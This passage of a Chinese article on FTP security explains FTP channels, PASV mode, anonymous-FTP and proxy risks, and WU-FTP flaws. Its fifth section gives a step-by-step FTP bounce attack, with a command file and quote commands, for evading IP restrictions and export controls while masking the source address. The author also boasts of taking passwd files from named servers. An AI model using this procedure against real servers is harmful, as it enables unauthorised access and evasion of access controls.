浅议FTP安全性问题
  许多INTERNET爱好者最先接触的东西就是FTP,在当时HTTP还未出现,人们还停留在命令行阶段(即使在WIN95里面也内置FTP命令),但人们乐此不返,直到WWW的出现。但FTP在现实中仍然扮演着重要的角色──特别是FTP服务器在提供公用服务方面。
  同时,FTP服务器也成为网络安全的一个潜在的漏洞。本文就是基于此而出发的。
  一、FTP概述
  FTP(File Transfer Protocol)即文件传输协议,用来从一台机器传送文件到另一台机器上。你可以使用FTP来传送任何类型的文件,包括二进制文件、图形文件、ASCII文本文件、PostScript打印文件、音频及视频文件等。有两种类型的FTP访问,即有名和匿名FTP。有名FTP要求用户在服务器上有帐号,当他登录时他可以拥有他应该拥有的一切资源。匿名FTP是为了那些在服务器上没有帐号的人提供的,主要是用来使用户访问一些公用资源。
  (注:希望进一步了解FTP的爱好者可以阅读RFC959,在任一搜索引擎上输入RFC959.TXT查寻。)
  二、FTP的包过滤(Packet Filtering)方式
  首先,有必要解释什么叫包过滤。简单地说包过滤即是只基于TCP/IP包的检测。FTP使用两个独立的TCP连接:一个在服务器和客户程序之间传递命令和结果(通常称为命令通道);另一个用来传送真实的文件和目录列表(通常称为数据通道)。在服务器上,命令通道使用众所周知的端口号21,数据通道为端口号20。客户程序则在命令和数据通道上分别使用大于1023的端口(根据TCP/IP协议,端口对应于INTERNET应用层,不同的应用层客户程序有其缺省的端口号,如FTP为20、21,HTTP为80)。
  在开始一个FTP的连接时,客户程序首先为自己分配两个大于1023的TCP端口,它使用第一个端口作为命令通道端口与服务器连接,然后发出PORT命令(通常是PORT C,C,C,C,F,F,其中C,C,C,C为客户端IP地址,F,F为第二个端口号),告诉服务器它的第二个作为数据通道的端口号,这样服务器就能打开数据通道了。图1表示了这种FTP连接。
  大多数FTP服务器(特别是那些用在INTERNET上的主要匿名FTP站点)和许多FTP客户程序都支持一种客户程序打开命令通道和数据通道来连接到FTP服务器的修改方式,这种方式被称之为“反向方式”或“PASV方式”。
  在使用反向方式时,一个FTP客户程序需要分配两个TCP端口供其使用。第一步同正常方式,但客户程序通过PASV命令代替原来PORT命令来告诉服务器客户程序的第二个TCP端口。这样就能使服务器为本身的数据通道分配第二个TCP端口,并通知客户程序所分配的那个端口号。这时,客户程序就从它的数据通道的端口连接到服务器刚才通知它的那个端口上。图2显示了一个反向方式的FTP连接。
  通过FTP包过滤方式的分析可以知道,一个TCP连接可以从防火墙外部实现,即一个外部FTP服务器会接通一个到内部的客户程序的数据通道的连接,来响应从内部的客户程序发出的命令通道连接。正是这种方式,一方面可以允许客户程序通过FTP代理服务器连接其他FTP服务器(在后面还将专题讨论),另一方面也给网络带来了不安全性。
  三、匿名FTP服务
  用过FTP的人都知道其提供一种匿名服务(Anonymous Service)。登录名用“anonymous”,而口令通常可用你的E-mail代替。正是这种服务方式方便了用户,但也不可避免地带来了问题,如客户登录后,往往能够获得一个可写目录(通常是/incoming),这样客户就可以通过PUT上载一个甚至是多个TXT文件,来达到其攻击该FTP服务器或其他FTP服务器的目的(后面详述),虽然许多FTP服务器都限制匿名用户的权限,如执行权,而许多FTP服务器同HTTP服务器同装在一台机器上,那么匿名用户完全可以利用该可写目录运行命令调用HTTP服务器执行。
  四、FTP代理服务器
  通过FTP代理服务器连接到匿名服务器,而不是直接同其连接,我想主要基于两种原由:其一,无法直接连接,如防火墙的存在;其二,出于不被匿名服务器知晓其IP地址,或者基于ATTACK,或者基于匿名服务器限制客户登录(通过限制IP地址范围)。
  所以对于防火墙内的客户来说,它必须首先运行FTP命令并通过作为主机的防火墙连接,连接完成后,必须说明用户名和连接的地点,在认证该地点确实允许之后,代理就与远程系统上的FTP服务器建立连接,用用户提供的用户名开始登录。然后远程服务器提示用户输入口令,如果口令正确则连接被允许。对于非防火墙内用户,它可以通过任意代理服务器来连接其目的服务器,并达到隐藏其地址的目的。因对于目标服务器而言,其知道的仅仅是代理服务器的地址。
  五、FTP服务器的“跳”(Bounce)攻击
  FTP的代理服务特性是允许第三方文件传输。一个用户可以从一个FTP向另一个远程FTP请求代理传输。实际上这种特性已在RFC959中被说明,当与引用命令相连时,如PORT及PASV语句,允许一个用户避免IP访问控制及可跟踪性。
  问题的核心在于用户可以请求远程FTP服务器向任意一个IP地址与TCP端口发送文件。因此,用户可以请求远程FTP发送一个包含有效网络协议命令的文件给任意一台主机在任意一个TCP端口上监听的服务程序,导致服务程序相信网络协议连接的是远程FTP。
  例如你是一个中国的远程用户,IP地址是F.F.F.F,并想从一个美国的服务器获得资源,但典型情况是目标主机配置禁止了与一系列特定IP地址相连(美国对一系列产品加以限制,特别是高层次加密的程序),假定你的IP地址恰好在这一范围内,因此目标主机上的一些或所有的资源你不能访问,所以你必须使用另一台机器(中介)去访问目标机。你常常可以通过以下措施来实现:
  (一)、你首先应该知道目标主机的IP地址,若你不是很清楚,你可以通过SATAN来实现(SATAN是一个非常出名的扫描引擎,在INTERNET上随处可找到),假设你的目标主机的IP地址是C.C.C.C;
  (二)、你以anonymous连接到美国一FTP(该FTP对目标主机而言是可用的), 然后FTP到自己的机器(对于PPP用户可以使用IPQUERY.EXE查知自己的IP地址),并配置成PASV方式,对一个新文件例如FOOBAR做STOR,现在,你可以向美国FTP发送一个FTP协议语句的TXT文件。这些语句包含带有你的IP地址及端口号的PORT命令,这样引起目标主机的被动监听与PORT及随后的RETR以检索所需的文件,你现在可以指定一个引用PORT命令给美国FTP,标识在目标主机的端口21。最后用包含命令文件的TXT文件指定一个RETR命令,并发给美国FTP。美国FTP将包含正等待你的FTP端口地址及PORT命令的TXT文件发向目标主机,该文件表现为美国的IP地址,而向你发送文件,此时你也许正焦急地以STOR命令等待接收名为FOOBAR的文件。因此,文件被发往你,并成为FOOBAR,而目标主机日志文件所显示的IP地址却为美国FTP的地址。
  有关过程可以表述如下:
  1、quote “pasv”
  (返回的地址为f,f,f,f,x,x)
  quote “stor foobar”
  2、生成一个新文件“instrs”
  user ftp
  pass -anonymous@......
  cwd /export-restricted-......
  type i
  port f,f,f,f,x,x
  retr ......tar.Z(你想的资源,可通过list -ar获得)
  quit
  3、上载并发送命令
  put instrs
  quote “port c,c,c,c,0,21”
  quote “retr instrs”
  4、delete instrs
  disconnected
  bye
  六、关于WU-FTP问题
  关于WU-FTP版本安全性的问题报道很多,特别是在INTERNET上,其早期版本的漏洞主要有两个。一、代码根中的一个竞争条件允许用户以根方式登录;二、SITE EXEC允许用户以根方式执行命令。还有一个潜在的安全漏洞是/etc/passwd文件的存在,而用户一旦获得了passwd文件就可以对其条目进行crack,而各种crack程序简直太多了(笔者就曾经从诸如ftp.mcs.anl.gov、ftp.fonorala.net、ftp.csd.uwm.edu上进入/etc获得passwd)。
   对于WU-FTP较新的版本,如WU-FTP 2.4版本,也存在问题,有关报道可从http://www.geekgirl.com/bugtraq/获得。当然延迟PASS命令问题,即在USER和PASS之间插入一个CWD/命令,可以获得根访问权,在此就不多讨论了,有兴趣的爱好者可以从SATAN的白皮书中了解到,不然这篇文章就太长了,老编会厌烦的!
  最后,应该指出的是读者应该了解一定的网络协议知识以